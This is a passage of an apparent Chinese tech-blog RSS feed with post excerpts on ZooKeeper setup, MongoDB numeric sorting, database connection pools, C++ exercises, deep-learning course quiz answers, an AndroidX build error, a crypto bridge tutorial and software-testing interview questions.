用户界面元素：静态元素，动态元素，输入元素，命令元素&#xA;用户界面初步设计不关注美观和布局，关注界面元素及其内容&#xA;交互图&#xA;表示特定场景下的跳转及跳转发生时的消息传递&#xA;类图&#xA;表示界面间所有可能发生的跳转及跳转的原因&#xA;用户界面设计&#xA;以用户为中心&#xA;遵循理解性、易操作性、一致性、容错性和人性化等原则&#xA;用户界面设计的过程&#xA;以软件需求为依据&#xA;概念设计、跳转关系设计、界面精化、设计评审&#xA;用户界面设计的结果&#xA;用户界面原型&#xA;UML类图、交互图等模型</description>
    </item>
    <item>
      <title>zookeeper基本使用</title>
      <link>https://bchobby.github.io/posts/ad6f9c8c7c8a5179836b7b1d25ca0c51/</link>
      <pubDate>Wed, 27 Dec 2023 04:38:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad6f9c8c7c8a5179836b7b1d25ca0c51/</guid>
      <description>目录&#xA;环境搭建&#xA;单机版搭建&#xA;集群版搭建&#xA;基本语法使用&#xA;可视化客户端&#xA;数据结构&#xA;节点分类&#xA;1. 持久节点&#xA;2. 临时节点&#xA;3. 有序节点&#xA;4. 容器节点&#xA;5. TTL节点&#xA;节点状态&#xA;监听机制&#xA;watch监听&#xA;永久性watch&#xA;应用场景&#xA;1. 实现分布式锁&#xA;2. 乐观锁更新数据&#xA;应用场景总结&#xA;Zookeeper集群架构&#xA;角色&#xA;集群架构&#xA;选举机制&#xA;选举时机&#xA;选举源码&#xA;选举规则&#xA;四字命令使用&#xA;1. 安装nc&#xA;2. 开启nc&#xA;3. 验证&#xA;4. 其他用法 环境搭建 单机版搭建 1. 官网下载zookeeper压缩包, 这里用3.8.3版本, 并解压&#xA;官网下载地址: Apache ZooKeeper&#xA;2. 复制示例配置文件&#xA;cp zoo_sample.cfg zoo.cfg zoo.cfg配置里面参数说明, 不用修改也能启动&#xA;# zookeeper基本时间单位，2妙 tickTime=2000 # follower初始化到leader最大时长, 表示tickTime的倍数, 也就是20秒 initLimit=10 # leader和follower同步数据的最大时长, 表示tickTime的倍数, 也就是10秒 syncLimit=5 # 数据和日志存储目录, 也可以配dataLogDir单独指定日志存储目录, 不建议放在默认的/tmp下 dataDir=/tmp/zookeeper # 对客户端提供端口号 clientPort=2181 # 对单个客户端提供最大连接数 #maxClientCnxns=60 # # Be sure to read the maintenance section of the # administrator guide before turning on autopurge.</description>
    </item>
    <item>
      <title>Java与前端2023：真相与焦虑</title>
      <link>https://bchobby.github.io/posts/534a78e4ab0d9cfd38aa265ea22ca3ff/</link>
      <pubDate>Wed, 27 Dec 2023 01:46:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/534a78e4ab0d9cfd38aa265ea22ca3ff/</guid>
      <description>引言： 2023年，关于Java和前端行业的未来传言甚嚣尘上，一些人大胆预测“Java已死，前端已凉”。这究竟是真相，还是只是在贩卖焦虑？本文将深入探讨这一议题，解开Java和前端行业的迷雾。&#xA;1. Java：是否真的“已死”？ Java自诞生以来一直是企业级应用的首选语言，其强大的生态系统、跨平台性以及成熟的开发模式，使得它在大型项目中仍然占据主导地位。虽然近年来有更多的编程语言涌现，但Java的稳定性和广泛应用使其仍然是编程领域的支柱之一。在云计算、大数据、微服务等领域，Java仍然有着不可替代的地位。因此，说Java“已死”可能是一种过于激进的表述。&#xA;2. 前端：为何感到“已凉”？ 前端领域在过去的几年里经历了飞速的发展，各种新技术层出不穷。然而，这也导致了前端开发者需要不断学习新知识的压力。一些传言声称前端的发展已经达到了瓶颈，市场需求相对饱和。但实际上，随着移动端、WebAssembly、桌面应用等多个方向的发展，前端仍有大量的发展空间。只是需要前端开发者不断跟进技术潮流，适应新的工作方式。&#xA;3. Java与前端的融合： 在当今互联网的发展中，Java后端与前端技术的融合愈发密切。Java的框架和库支持前后端分离的开发模式，而前端技术的快速迭代也促使Java后端更加注重API的设计和开发效率。因此，Java后端与前端的协同工作仍然是一个重要的趋势。&#xA;4. 实际需求： 最终，技术的发展方向往往受实际需求驱动。企业在选择技术栈时更关注的是解决问题的能力，而不是某个特定技术的“生死”。在Java与前端之间，实际上是需要更好的集成、更高效的协同工作，而不是简单地进行“生死”划分。&#xA;结论： 在2023年，Java和前端行业都将继续发展，前途光明。而真相是，无论是Java还是前端，都需要适应变化、持续学习，并更加注重实际问题的解决。将两者合理融合，充分发挥各自优势，才是实现可持续发展的关键。贩卖焦虑的说法往往只是表面现象，真正的行业发展要看实际需求和创新能力。</description>
    </item>
    <item>
      <title>如何将语音版大模型AI接入自己的项目里(语音ChatGPT)</title>
      <link>https://bchobby.github.io/posts/9d86b31a5e553f4da65704afbf5a9fd6/</link>
      <pubDate>Wed, 27 Dec 2023 00:00:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d86b31a5e553f4da65704afbf5a9fd6/</guid>
      <description>如何将语音版大模型AI接入自己的项目里语音ChatGPT 一、语音版大模型AI二、使用步骤1、接口2、请求参数3、请求参数示例4、接口 返回示例5、智能生成API代码 三、 如何获取appKey和uid1、申请appKey:2、获取appKey和uid 四、重要说明 一、语音版大模型AI 基于阿里通义千问、百度文心一言等国内主流AI大模型的语音版智能对话AI机器人API,支持聊天对话、行业咨询、语言学习等功能.支持自定义真人音色.&#xA;二、使用步骤 1、接口 重要提示:建议使用https协议,当https协议无法使用时再尝试使用http协议&#xA;请求方式: POST&#xA;https://luckycola.com.cn/voice/vaiV1 2、请求参数 序号参数是否必须说明1ques是你的问题2appKey是唯一验证AppKey, 可前往官网“个人中心“获取(http(s): //luckycola.com.cn), 下面具体介绍获取方法3uid是账号等唯一标识, 可前往官网“个人中心“获取(http(s): //luckycola.com.cn), 下面具体介绍获取方法4isLongChat否是否支持上下文(值为1或者0),1表示支持上下文,默认值0不支持5voiceType否自定义语音真人音色,可选值是:0(活泼男声)、1(俏皮女声)、2(醇厚男声)、3(亲切女声),默认值是0 注意!!!: 如果您还没有appKey和uid,请先请前往官网获取&#xA;官网地址:http(s): //luckycola.com.cn/&#xA;3、请求参数示例 { // 你的问题 &#34;ques&#34;: &#34;hello&#34;, // 官网-个人中心-Appkey获取 &#34;appKey&#34;: &#34;643************c3&#34;, // 官网-个人中心-用户ID &#34;uid&#34;: &#34;y*************6&#34;, // 自定义语音真人音色,可选值是:0(活泼男声)、1(俏皮女声)、2(醇厚男声)、3(亲切女声) &#34;voiceType&#34;: 0, // 是否支持上下文 值1表示支持,0表示不支持 &#34;isLongChat&#34;: 0 } 4、接口 返回示例 { // 成功状态码 &#34;code&#34;: 0, // 成功提示 &#34;msg&#34;: &#34;ai回答返回成功&#34;, // 音频数据 &#34;data&#34;: { &#34;code&#34;: 0, // 当前音色类型 &#34;</description>
    </item>
    <item>
      <title>外卖订餐系统</title>
      <link>https://bchobby.github.io/posts/6d01f68768dea327f60dfe3ad36c3c65/</link>
      <pubDate>Tue, 26 Dec 2023 23:46:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d01f68768dea327f60dfe3ad36c3c65/</guid>
      <description>摘 要 随着外卖订餐在高校越来越普及，传统的电话订餐给顾客跟外卖店带来不方便，如何使订餐更快速，更方便已成为众多高校学生关注的问题了。本外卖订餐管理系统是针对高校外卖店进行具体的需求分析，采用OOA（面向对象分析）和采用UML工具辅助开发分析，基于S2SH（Struts2+Spring+Hibernate）架构进行设计和开发。论文主要描述外卖订餐管理系统的开发流程，分别从需求分析和系统设计、详细设计与系统实现这几个阶段进行描述。&#xA;关键词：订餐管理系统 S2SH OOA&#xA;ABSTRACT&#xA;With more and more popular in universities order take-out, due to the traditional telephone reservation for customers to bring inconvenience take-away meal, how to make more quickly, more convenient has become the concern of the students. The take-away meal management system in colleges and universities is the concrete take-away demand analysis, using object-oriented analysis (OOA) and using UML tools to assist in the development, using Struts2-Spring-Hibernate framework to design and development.</description>
    </item>
    <item>
      <title>数据库的连接池详解</title>
      <link>https://bchobby.github.io/posts/e7f0b914d6e894900a74c7f6a420a8e8/</link>
      <pubDate>Tue, 26 Dec 2023 23:33:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7f0b914d6e894900a74c7f6a420a8e8/</guid>
      <description>什么是数据库连接池？ 数据库连接池是一种管理和维护数据库连接的机制，用于提高数据库访问的性能和效率。连接池通过在应用程序启动时创建一组数据库连接，并在需要时将这些连接分配给应用程序，然后在不再需要时将其返回到池中。这可以减少创建和销毁数据库连接的开销，并优化数据库资源的使用。&#xA;连接的创建和销毁开销：&#xA;创建和销毁数据库连接是一项开销较大的操作。连接池通过预先创建一组连接，避免了每次请求都创建新连接的开销。这些连接在应用程序启动时初始化，并一直保持活动状态，直到应用程序关闭。&#xA;连接的重用：&#xA;连接池允许应用程序在需要时从池中获取连接，而不是每次都创建新连接。使用完毕后，连接可以被释放回池中以供其他请求使用。这种重用机制可以降低数据库服务器的负担，提高应用程序的性能。&#xA;为什么要使用数据库连接池？ 1.减少连接的创建和销毁开销：&#xA;数据库连接的创建和销毁是相对昂贵的操作。连接池通过在应用程序启动时创建一组连接，并在需要时将其分配给应用程序，从而减少了每次请求都创建和销毁连接的开销。&#xA;2.优化数据库资源的使用：&#xA;连接池能够重用连接，而不是每次都创建新连接。这样，数据库资源得以更好地利用，因为连接的重用可以减少服务器端的资源消耗。&#xA;3.避免连接泄漏：&#xA;连接池监控连接的状态，可以在连接空闲时间过长或者发生异常时进行回收。这有助于防止连接泄漏，即长时间占用的连接没有被及时释放。&#xA;4.限制并发连接数：&#xA;连接池可以限制同时存在的连接数量，防止过多的连接占用数据库资源。这通过连接池的最大连接数和最大溢出连接数来控制，确保系统不会超过容量。&#xA;5.提高系统性能：&#xA;通过重用连接、减少连接的创建和销毁，以及优化数据库资源的使用，连接池有助于提高应用程序的性能。系统中的请求能够更快地获取到数据库连接，而不必等待连接的创建。&#xA;6.支持并发访问：&#xA;在高并发环境下，使用连接池可以更好地支持大量并发请求。连接池会协调多个请求共享有限的数据库连接，以平滑处理高并发情况。&#xA;7.连接的超时处理：&#xA;连接池可以设置连接的超时时间，即连接在一定时间内没有被使用就会被回收。这有助于释放不再需要的连接，避免长时间占用连接的问题。&#xA;8.提高应用程序的可伸缩性：&#xA;通过减少数据库连接的创建和销毁开销，连接池有助于提高应用程序的可伸缩性。在高负载时，系统可以更好地处理更多的请求。&#xA;怎么使用数据库连接池？ 安装 SQLAlchemy：&#xA;pip install SQLAlchemy 创建数据库引擎和连接池：&#xA;使用 SQLAlchemy 创建数据库引擎，并在引擎中配置连接池。在配置连接池时，你可以设置最小连接数、最大连接数、连接超时等参数。&#xA;from sqlalchemy import create_engine, pool # 连接池配置，这里设置了最小连接数和最大连接数 pool_config = { &#34;pool_size&#34;: 5, &#34;max_overflow&#34;: 10, &#34;pool_timeout&#34;: 30, # 单位是秒，等待连接的最大时间 } # 创建数据库引擎，使用连接池配置 engine = create_engine(&#39;sqlite:///:memory:&#39;, poolclass=pool.QueuePool, **pool_config) 获取连接和执行操作：&#xA;使用创建好的数据库引擎来获取连接，并执行数据库操作。注意，在使用完连接后，需要将连接释放回连接池。&#xA;# 从连接池中获取连接 connection = engine.connect() # 执行数据库操作 result = connection.</description>
    </item>
    <item>
      <title>MongoDB数字字符串排序问题</title>
      <link>https://bchobby.github.io/posts/98cd5e26efff7ce4c4087be5ecf0e0d5/</link>
      <pubDate>Tue, 26 Dec 2023 22:24:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98cd5e26efff7ce4c4087be5ecf0e0d5/</guid>
      <description>问题描述 MongoDB中有一个集合t_test_sort结构如下，其中数值字段value为字符串类型，现想按照value的数值大小进行降序排列。&#xA;{ &#34;_id&#34; : ObjectId(&#34;656c87b36ca8100cd4a60348&#34;), &#34;name&#34; : &#34;麻了&#34;, &#34;date&#34; : &#34;2033-04-05&#34;, &#34;value&#34; : &#34;-1.744353&#34;, &#34;_class&#34; : &#34;com.rkyao.spring.boot.mongo.entity.MongoSortEntity&#34; } 使用如下查询语句进行查询，得到的结果显然不对，这样是按照字符串进行排的，而不是数值大小&#xA;db.getCollection(&#34;t_test_sort&#34;) .find({}) .sort({ &#34;value&#34;: -1 }) 尝试解决 网上搜索了一波解决方案都是要添加numericOrdering:true 配置，这样可以将字符串按照数值排序，但是试验后依然不行。&#xA;db.getCollection(&#34;t_test_sort&#34;) .find({}) .sort({ &#34;value&#34;: -1 }) .collation({&#34;locale&#34;: &#34;zh&#34;,numericOrdering:true}) 百思不得其姐，查询MongoDB官方文档后找到了原因，原来是numericOrdering:true只支持非负整数，负数和小数都不支持&#xA;网上的方案行不通，只能继续研究了。&#xA;解决方案 方案一 把value字段的类型修改为数值型，但是修改字段的影响比较大，需要重新刷数据且有可能会影响其他业务，所以除非走投无路暂不考虑。&#xA;方案二 再次查询官方文档后找到了一个方法，可以在聚合管道中使用$toDecimal 将value字段的值转换为数值，赋给一个临时字段sortField，然后在根据sortField字段进行排序。&#xA;db.getCollection(&#34;t_test_sort&#34;).aggregate([ { $addFields: { sortField: { $toDecimal: &#34;$value&#34; } } }, { $sort: { sortField: -1 } } ]) 可以看到查询结果完全按照sortField数值大小降序排列，问题解决。&#xA;Java代码也一并给出来&#xA;public List&amp;lt;MongoSortEntity&amp;gt; sort() { List&amp;lt;AggregationOperation&amp;gt; operationList = new ArrayList&amp;lt;&amp;gt;(); operationList.</description>
    </item>
    <item>
      <title>《数据结构，算法与应用 C&#43;&#43;语言描述》- 第1章 练习题答案</title>
      <link>https://bchobby.github.io/posts/7999c3d6c7dae544a1b2253d7d180b9c/</link>
      <pubDate>Tue, 26 Dec 2023 22:09:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7999c3d6c7dae544a1b2253d7d180b9c/</guid>
      <description>Chapter1 练习题 Q1 解释：因为形参没有使用引用。形参是通过对实参的值进行的复制得到的，所以函数体中任何对形参的修改都不会作用于实参。&#xA;改进：&#xA;void swap(int&amp;amp; x, int&amp;amp; y) { int temp = x; x = y; y = temp; } Q2 注意模板函数如何传递数组的常量引用。语法const T (&amp;amp;arr)[N]，解读&#xA;const常量，不允许修改实参&#xA;T为数组中元素的类型&#xA;(&amp;amp;arr)表示对数组的引用&#xA;[N]表示数组的元素个数&#xA;注意声明数组的方式，未指定数组元素个数，由编译器根据{}中的元素个数确定。通过本例学会如何传递数据(按引用传递)&#xA;注意count()调用时，只传递了数组名，未传递数组大小&#xA;#include &amp;lt;iostream&amp;gt; template &amp;lt;typename T, std::size_t N&amp;gt; std::size_t count(const T (&amp;amp;arr)[N]) { return N; } int main() { int intArray[] = {1, 2, 3, 4, 5}; double doubleArray[] = {1.1, 2.2, 3.3, 4.4}; std::size_t intCount = count(intArray); std::size_t doubleCount = count(doubleArray); std::cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>sheng的学习笔记-【目录】【中文】【deplearning.ai】【吴恩达课后作业目录】</title>
      <link>https://bchobby.github.io/posts/a8bae19f208c6ba38fa83e12c832304c/</link>
      <pubDate>Tue, 26 Dec 2023 21:57:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8bae19f208c6ba38fa83e12c832304c/</guid>
      <description> 学习吴恩达的深度学习，用于记录笔记&#xA;知识目录和引用文章&#xA;原文见下面，但已经变为收费的：【目录】【中文】【deplearning.ai】【吴恩达课后作业目录】_吴恩达深度学习 何宽-CSDN博客&#xA;免费的用于学习的github地址， 包含笔记和代码，资料来源于&#xA;深度学习&#xA;GitHub - fengdu78/deeplearning_ai_books: deeplearning.ai（吴恩达老师的深度学习课程笔记及资源）&#xA;机器学习&#xA;GitHub - fengdu78/Coursera-ML-AndrewNg-Notes: 吴恩达老师的机器学习课程个人笔记&#xA;统计学方面知识&#xA;GitHub - fengdu78/lihang-code: 《统计学习方法》的代码实现&#xA;数据科学仓库：&#xA;GitHub - fengdu78/Data-Science-Notes: 数据科学的笔记以及资料搜集&#xA;知乎：&#xA;黄海广 - 知乎&#xA;[**笔记在线阅读**](http://www.ai-start.com/dl2017)&#xA;测验题的答案来自：&#xA;吴恩达 深度学习 【课后作业答案】 - 知乎&#xA;【目录】【吴恩达课后作业目录】备注吴恩达深度学习相关资源下载地址（蓝奏云）课程周数名称类型语言地址课程1 - 神经网络和深度学习第1周深度学习简介测验中传送门修改后无编程作业编程作业————第2周神经网络基础测验中传送门修改后具有神经网络思维的Logistic回归编程作业中文传送门第3周浅层神经网络测验中传送门修改后带有一个隐藏层的平面数据分类编程作业中文传送门第4周深度神经网络的关键概念测验中传送门修改后一步步搭建多层神经网络以及应用（1 &amp;amp; 2）编程作业中文传送门课程2 - 改善深层神经网络第1周深度学习的实践测验中传送门修改后初始化、正则化、梯度校验（1 &amp;amp; 2 &amp;amp; 3）编程作业中文传送门第2周优化算法测验中传送门修改后优化算法实战编程作业中文传送门第3周超参数调整，批量标准化，编程框架测验中传送门修改后TensorFlow入门编程作业中文传送门课程3 - 结构化机器学习项目第1周和平之城中的鸟类识别(案例研究)测验中传送门修改后无编程作业编程作业————第2周自动驾驶（案例研究）测验中传送门修改后无编程作业编程作业————课程4 - 卷积神经网络第1周卷积神经网络的基本知识测验中英传送门修改后搭建卷积神经网络模型以及应用（1&amp;amp;2）编程作业中文传送门第2周深度卷积模型测验中英传送门修改后Keras入门与残差网络的搭建编程作业中文传送门第3周检测算法测验中英传送门修改后车辆识别编程作业中文传送门第4周特殊应用：人脸识别和神经风格转换测验中英传送门修改后人脸识别与神经风格转换编程作业中文传送门课程5 - 序列模型第1周循环神经网络测验中英传送门搭建循环神经网络及其应用编程作业中文传送门第2周自然语言处理与词嵌入测验中英传送门词向量的运算与Emoji生成器编程作业中文传送门第3周序列模型与注意力机制测验中英传送门机器翻译与触发词检测编程作业中文传送门吴恩达深度学习相关资源下载地址（蓝奏云） </description>
    </item>
    <item>
      <title>sheng的学习笔记-【中】【吴恩达课后测验】Course 4 -卷积神经网络 - 第四周测验</title>
      <link>https://bchobby.github.io/posts/2907e617907d406102b5573c865233e9/</link>
      <pubDate>Tue, 26 Dec 2023 21:56:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2907e617907d406102b5573c865233e9/</guid>
      <description>课程4_第4周_测验题 目录&#xA;第一题 1.面部验证只需要将新图片与1个人的面部进行比较，而面部识别则需要将新图片与K个人的面部进行比较。&#xA;A. 【 】正确&#xA;B. 【 】错误&#xA;答案：&#xA;A.【 √ 】正确&#xA;第二题 2.在人脸验证中函数d(img1,img2)起什么作用？&#xA;A. 【 】只需要给出一个人的图片就可以让网络认识这个人&#xA;B. 【 】为了解决一次学习的问题&#xA;C. 【 】这可以让我们使用softmax函数来学习预测一个人的身份，在这个单元中分类的数量等于数据库中的人的数量加1&#xA;D. 【 】鉴于我们拥有的照片很少，我们需要将它运用到迁移学习中&#xA;答案：&#xA;A.【 √ 】只需要给出一个人的图片就可以让网络认识这个人&#xA;B.【 √ 】为了解决一次学习的问题&#xA;第三题 3.为了训练人脸识别系统的参数，使用包含了10万个不同的人的10万张图片的数据集进行训练是合理的。&#xA;A. 【 】正确&#xA;B. 【 】错误&#xA;答案：&#xA;B.【 √ 】错误&#xA;第四题 4.下面哪个是三元组损失的正确定义（请把 α \alpha α也考虑进去）？&#xA;A. 【 】 m a x ( ∥ f ( A ) − f ( P ) ∥ 2 − ∥ f ( A ) − f ( N ) ∥ 2 + α , 0 ) max(\left \|f(A)−f(P)\right \|^2−\left \|f(A)−f(N)\right \|^2+\alpha,0) max(∥f(A)−f(P)∥2−∥f(A)−f(N)∥2+α,0)</description>
    </item>
    <item>
      <title>sheng的学习笔记-【中】【吴恩达课后测验】Course 4 -卷积神经网络 - 第三周测验</title>
      <link>https://bchobby.github.io/posts/90da48e3796fda34f3a58382f8c2ba5a/</link>
      <pubDate>Tue, 26 Dec 2023 21:53:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90da48e3796fda34f3a58382f8c2ba5a/</guid>
      <description>课程4_第3周_测验题 目录&#xA;第一题 1.现在你要构建一个能够识别三个对象并定位位置的算法，这些对象分别是：行人（c=1），汽车（c=2），摩托车（c=3）。下图中的标签哪个是正确的？&#xA;注： y = [ p c , b x , b y , b h , b w , c 1 , c 2 , c 3 ] y=[p_c,b_x,b_y,b_h,b_w,c_1,c_2,c_3] y=[pc​,bx​,by​,bh​,bw​,c1​,c2​,c3​]&#xA;A. 【 】y=[1, 0.3, 0.7, 0.3, 0.3, 0, 1, 0]&#xA;B. 【 】y=[1, 0.7, 0.5, 0.3, 0.3, 0, 1, 0]&#xA;C. 【 】y=[1, 0.3, 0.7, 0.5, 0.5, 0, 1, 0]&#xA;D. 【 】y=[1, 0.3, 0.7, 0.</description>
    </item>
    <item>
      <title>sheng的学习笔记-【中】【吴恩达课后测验】Course 4 -卷积神经网络 - 第二周测验</title>
      <link>https://bchobby.github.io/posts/d0b32154078c284be6611d9e5bb875ed/</link>
      <pubDate>Tue, 26 Dec 2023 21:48:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0b32154078c284be6611d9e5bb875ed/</guid>
      <description>课程4_第2周_测验题 目录&#xA;第一题 1.在典型的卷积神经网络中，随着网络的深度增加，你能看到的现象是？&#xA;A. 【 】 n H n_H nH​和 n W n_W nW​增加，同时 n C n_C nC​减少&#xA;B. 【 】 n H n_H nH​和 n W n_W nW​减少，同时 n C n_C nC​也减少&#xA;C. 【 】 n H n_H nH​和 n W n_W nW​增加，同时 n C n_C nC​也增加&#xA;D. 【 】 n H n_H nH​和 n W n_W nW​减少，同时 n C n_C nC​增加&#xA;答案：&#xA;D.【 √ 】 n H n_H nH​和 n W n_W nW​减少，同时 n C n_C nC​增加</description>
    </item>
    <item>
      <title>编译时AndroidX冲突报错</title>
      <link>https://bchobby.github.io/posts/a0f756cee3e97c3cc49fd0e710e68ce5/</link>
      <pubDate>Tue, 26 Dec 2023 21:03:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0f756cee3e97c3cc49fd0e710e68ce5/</guid>
      <description>一、报错信息 * Exception is: org.gradle.api.tasks.TaskExecutionException: Execution failed for task &#39;:app:checkDebugDuplicateClasses&#39;. at org.gradle.api.internal.tasks.execution.ExecuteActionsTaskExecuter.lambda$executeIfValid$1(ExecuteActionsTaskExecuter.java:145) at org.gradle.internal.Try$Failure.ifSuccessfulOrElse(Try.java:282) at org.gradle.api.internal.tasks.execution.ExecuteActionsTaskExecuter.executeIfValid(ExecuteActionsTaskExecuter.java:143) at org.gradle.api.internal.tasks.execution.ExecuteActionsTaskExecuter.execute(ExecuteActionsTaskExecuter.java:131) at org.gradle.api.internal.tasks.execution.CleanupStaleOutputsExecuter.execute(CleanupStaleOutputsExecuter.java:77) at org.gradle.api.internal.tasks.execution.FinalizePropertiesTaskExecuter.execute(FinalizePropertiesTaskExecuter.java:46) at org.gradle.api.internal.tasks.execution.ResolveTaskExecutionModeExecuter.execute(ResolveTaskExecutionModeExecuter.java:51) at org.gradle.api.internal.tasks.execution.SkipTaskWithNoActionsExecuter.execute(SkipTaskWithNoActionsExecuter.java:57) at org.gradle.api.internal.tasks.execution.SkipOnlyIfTaskExecuter.execute(SkipOnlyIfTaskExecuter.java:56) at org.gradle.api.internal.tasks.execution.CatchExceptionTaskExecuter.execute(CatchExceptionTaskExecuter.java:36) at org.gradle.api.internal.tasks.execution.EventFiringTaskExecuter$1.executeTask(EventFiringTaskExecuter.java:77) at org.gradle.api.internal.tasks.execution.EventFiringTaskExecuter$1.call(EventFiringTaskExecuter.java:55) at org.gradle.api.internal.tasks.execution.EventFiringTaskExecuter$1.call(EventFiringTaskExecuter.java:52) at org.gradle.internal.operations.DefaultBuildOperationRunner$CallableBuildOperationWorker.execute(DefaultBuildOperationRunner.java:204) at org.gradle.internal.operations.DefaultBuildOperationRunner$CallableBuildOperationWorker.execute(DefaultBuildOperationRunner.java:199) at org.gradle.internal.operations.DefaultBuildOperationRunner$2.execute(DefaultBuildOperationRunner.java:66) at org.gradle.internal.operations.DefaultBuildOperationRunner$2.execute(DefaultBuildOperationRunner.java:59) at org.gradle.internal.operations.DefaultBuildOperationRunner.execute(DefaultBuildOperationRunner.java:157) at org.gradle.internal.operations.DefaultBuildOperationRunner.execute(DefaultBuildOperationRunner.java:59) at org.gradle.internal.operations.DefaultBuildOperationRunner.call(DefaultBuildOperationRunner.java:53) at org.gradle.internal.operations.DefaultBuildOperationExecutor.call(DefaultBuildOperationExecutor.java:73) at org.gradle.api.internal.tasks.execution.EventFiringTaskExecuter.execute(EventFiringTaskExecuter.java:52) at org.gradle.execution.plan.LocalTaskNodeExecutor.execute(LocalTaskNodeExecutor.java:74) at org.gradle.execution.taskgraph.DefaultTaskExecutionGraph$InvokeNodeExecutorsAction.execute(DefaultTaskExecutionGraph.java:402) at org.gradle.execution.taskgraph.DefaultTaskExecutionGraph$InvokeNodeExecutorsAction.execute(DefaultTaskExecutionGraph.java:389) at org.gradle.execution.taskgraph.DefaultTaskExecutionGraph$BuildOperationAwareExecutionAction.execute(DefaultTaskExecutionGraph.java:382) at org.gradle.execution.taskgraph.DefaultTaskExecutionGraph$BuildOperationAwareExecutionAction.execute(DefaultTaskExecutionGraph.java:368) at org.gradle.execution.plan.DefaultPlanExecutor$ExecutorWorker.lambda$run$0(DefaultPlanExecutor.java:127) at org.gradle.execution.plan.DefaultPlanExecutor$ExecutorWorker.execute(DefaultPlanExecutor.java:191) at org.</description>
    </item>
    <item>
      <title>简析SoBit 跨链桥图文教程</title>
      <link>https://bchobby.github.io/posts/0d00c1f445e75b4feef2e2e1c79a7f4c/</link>
      <pubDate>Tue, 26 Dec 2023 21:03:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d00c1f445e75b4feef2e2e1c79a7f4c/</guid>
      <description>从BTC网络到Solana网络桥接BRC20 1.打开SoBit平台：在您的网络浏览器中启动SoBit Bridge应用程序。&#xA;2.连接您的钱包： 选择SoBit界面右上角的比特币网络来连接您的数字钱包。&#xA;3.选择源链、目标链和您想桥接的代币： 从下拉菜单中选择’BTC’作为源链，’SOL’（Solana）作为目标链。&#xA;4.输入转账细节： 在’数量’字段中指定您希望桥接的BRC20代币数量。确保您的钱包中有足够的余额。如果适用，勾选框以确认服务不适用于美国个人和实体。&#xA;5.铭刻和转移费用： 跟随钱包提示选择合适的铭刻费用。做好准备，Unisat/OKX钱包将要求确认两次。&#xA;6.交易签名： 当铭刻成功时，在您的钱包中确认并支付交易。&#xA;7.交易确认： 一旦转移启动，将生成一个交易ID。您可以在’历史’标签上跟踪状态。&#xA;8.完成桥接过程： 在必要的区块链确认后，交易状态将更新为’完成’，表明代币已成功桥接并可在Solana网络上使用，用户将在早些时候提供的地址中收到扣除适用交易费后的相应代币。&#xA;从Solana网络到BTC网络桥接BRC20 1.打开SoBit平台： 在您的网络浏览器中启动SoBit Bridge。&#xA;2.连接您的钱包： 选择SoBit界面右上角的Solana网络来连接您的数字钱包。&#xA;3.选择源链、目标链和您想桥接的代币： 从下拉菜单中选择’SOL’作为源链，’BTC’作为目标链。&#xA;4.输入转移细节： 输入您想要桥接的代币数量。确保您的Solana钱包中有必要的数量。输入您的BTC接收地址。如果适用，通过勾选框确认服务不适用于美国个人和实体，然后点击’转移’按钮。&#xA;5.确认交易： 将出现一个弹出窗口，要求您在连接的钱包中确认交易细节。这将包括服务费和网络费。在您的钱包中批准交易。一旦您确认，SoBit将处理交易。&#xA;6.交易监控： 交易将出现在’历史’标签中，您可以监控其状态。&#xA;7.完成： 一旦交易确认，状态将更新为’完成’。&#xA;这是实现BRC20到Solana完整桥接生态系统的第一步。我们非常期待社区可能为我们提供的任何反馈。随着我们不断前进，我们致力于持续改进技术并扩展服务，以确保无缝、安全和高效的跨链体验。</description>
    </item>
    <item>
      <title>软件测试面试会问哪些问题？真实的企业软件测试面试真题</title>
      <link>https://bchobby.github.io/posts/d4c1be19f878bb4403aa232f39346ce5/</link>
      <pubDate>Tue, 26 Dec 2023 20:51:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4c1be19f878bb4403aa232f39346ce5/</guid>
      <description>软件测试面试，一般会被问到下面这九类问题。&#xA;1、基础问题 2、Linux命令 3、数据库 4、功能测试 5、Python基础 6、接口测试 7、自动化测试 8、性能测试 9、人事问题 接下来，以上9类问题，我都会分别结合2个案例，附上答案，给大家参考。最后会免费赠送大家2023年最新面试宝典，祝愿大家测试求职顺利。&#xA;一、基础问题 1.1、请做下简单的自我介绍 回答： 【围绕基本信息+项⽬介绍】 ⾯试官您好，我叫张三，来⾃番茄市，在软件测试⾏业有 3 年的⼯作经验，做过 Web/APP及⼩程序项⽬ 的测试⼯作，有独⽴负责整个项⽬的测试经验。 最近做个的项⽬是 xxx，这是⼀款基于（B/S 或 C/S）架构的 xxx 产品， 在该项⽬中我主要负责 xxx 业务和 xxx 业务及 xxx 模块和 xxx 模块的功能，接⼝，及⾃动化测试。 在功能测试中主要运⽤到 xxx 测试⼯具和 xxx 缺陷管理系统， 在接⼝测试中主要使⽤到 xxx ⼯具， ⾃动化测试是基于 Python+Requests+pytest+Jenkins 实现的测试框架搭建和测试实现。以上是我的个⼈介绍 1.2、 你们这项⽬做了多久？多久做⼀次版本迭代？写了多少⽤例？发现了多少Bug？你们的团 队规模是怎么样？具体的⼈员配置请详细说⼀下。 回答： ● 项⽬周期： ○ 中⼩型项⽬： 3-6个⽉ ○ 中⼤型项⽬： 6-12个⽉ ● 多久做⼀次版本迭代？ ○ 互联⽹项⽬： 1-2周⼀个迭代 ○ 传统项⽬： 3-4周⼀个迭代 ● 迭代内容： ○ ⼀般分⼤版本和⼩版本： ■ ⼤版本主要是产品规划的新功能、新业务，⼤版本⼀般2-3个⽉有⼀次 ■ ⼩版本主要是⼀些历史功能优化和缺陷修复版本，⼩版本每周/两周有⼀次 ● 写了多少⽤例？ —— 数测试点 ● 发现了多少bug？ —— 